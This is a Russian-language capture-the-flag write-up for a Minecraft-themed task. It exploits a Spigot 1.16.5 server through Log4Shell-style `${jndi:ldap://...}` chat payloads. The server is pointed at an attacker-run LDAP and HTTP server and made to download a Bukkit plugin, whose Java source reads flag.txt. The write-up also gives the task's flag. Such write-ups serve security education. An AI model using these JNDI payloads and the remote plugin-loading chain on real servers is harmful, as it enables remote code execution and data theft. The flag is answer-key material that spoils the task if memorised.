SYKTYV/KAR
После возвращения SYKTYV/KAR к штатной работе её аварийные копии отправили на удаление. На последнем узле осталась цифровая копия кольца со стеллой. Очистка каждый раз останавливается с сообщением «На территории остались жители».
На старте есть индивидуальный SSH-доступ к узлу с Minecraft-миром. Нужно найти дорогу к стелле и выяснить, кто остался на территории после завершения симуляции.
## Решение
Подключитесь к узлу по выданным SSH-реквизитам.
```bash
ssh -p player@
```
Пользователь работает в ограниченном `rbash`, а неизменяемый `PATH` указывает на `/opt/diag`. Доступные диагностические утилиты позволяют узнать имя серверного JAR и открытый порт.
```bash
ps aux # java -jar /opt/minecraft/spigot-1.16.5.jar
ss -ltn # 25565 слушает
```
Процесс запущен с `spigot-1.16.5.jar`, сервер слушает порт `25565`. Сам номер версии ещё не доказывает наличие Log4Shell (CVE-2021-44228), поскольку для 1.16.5 выпускались [исправленные сборки](https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/). Проверьте обработку `${jndi:...}` в чате.
Для доступа к Minecraft пробросьте порт через SSH.
```bash
ssh -N -p player@ -L 25565:127.0.0.1:25565
```
Подключитесь клиентом Minecraft Java **1.16.5** к `127.0.0.1:25565`. Сервер работает в offline mode и принимает любой ник.
В MOTD есть глифы Standard Galactic Alphabet. Вторая строка декодируется в `jebat jnl`, а после ROT13 получается `wrong way`. Эта подсказка ведёт в тупик.
### Проверка обработчика
Запустите LDAP-сервер, который на поисковый запрос возвращает следующие атрибуты.
```text
javaCodeBase: http://:8000/garbage
javaFactory: pwn.Pwned
```
По адресу из `javaCodeBase` разместите тестовый файл `garbage` с произвольным содержимым и откройте к нему доступ по HTTP.
```bash
python3 -m http.server 8000 --bind 0.0.0.0
```
Отправьте JNDI-ссылку в чат.
```text
${jndi:ldap://:1389/Exploit}
```
Сервер обращается по ссылке, скачивает файл из `javaCodeBase` и пытается загрузить его как плагин. В чате появляется ошибка.
```text
Could not load plugin in folder 'plugins': invalid plugin JAR
```
Ошибка указывает на загрузку Bukkit-плагина. В этом стенде обработчик `${jndi:...}` передаёт скачанный JAR в HotLoader. Для получения флага подходит плагин, который прочитает файл при загрузке.
### Загрузка плагина
Подготовьте Bukkit-плагин для Spigot 1.16.5, используя `spigot-api` версии 1.16.5 и байткод Java 8. Укажите класс `pwn.Pwned` в `plugin.yml`.
```yaml
name: Pwned
version: 1.0.0
main: pwn.Pwned
api-version: "1.16"
```
В `Pwned.java` добавьте обработчик `onEnable()`, который читает `flag.txt` из рабочей директории сервера и отправляет содержимое в чат.
```java
package pwn;
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
public final class Pwned extends JavaPlugin {
@Override
public void onEnable() {
try {
String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim();
Bukkit.broadcastMessage("[PWN] " + flag);
} catch (Exception exception) {
Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage());
}
}
}
```
Упакуйте `plugin.yml` и `pwn/Pwned.class` в JAR. Готовый [Pwned.jar](solve/payload/Pwned.jar) содержит оба файла.
Разместите JAR на HTTP-сервере и укажите его адрес в LDAP-ответе.
```text
javaCodeBase: http://:8000/Pwned.jar
javaFactory: pwn.Pwned
```
Повторно отправьте ссылку в чат.
```text
${jndi:ldap://:1389/Exploit}
```
Сервер скачивает JAR, проверяет формат ZIP, наличие `plugin.yml` и основного класса, затем сверяет `javaFactory` с полем `main`. После сохранения файла в `plugins/dropins/` HotLoader загружает плагин. Вызов `onEnable()` читает `flag.txt` и публикует флаг в чате.
В [солвере](solve/solve.py) используется прямая HTTP-доставка JAR через `${jndi:http://:/pwned.jar}`.
## Флаг
`caplag{m1n3cr4ft_15_my_l1f3_XXXX}`
Суффикс `XXXX` зависит от выданного команде узла.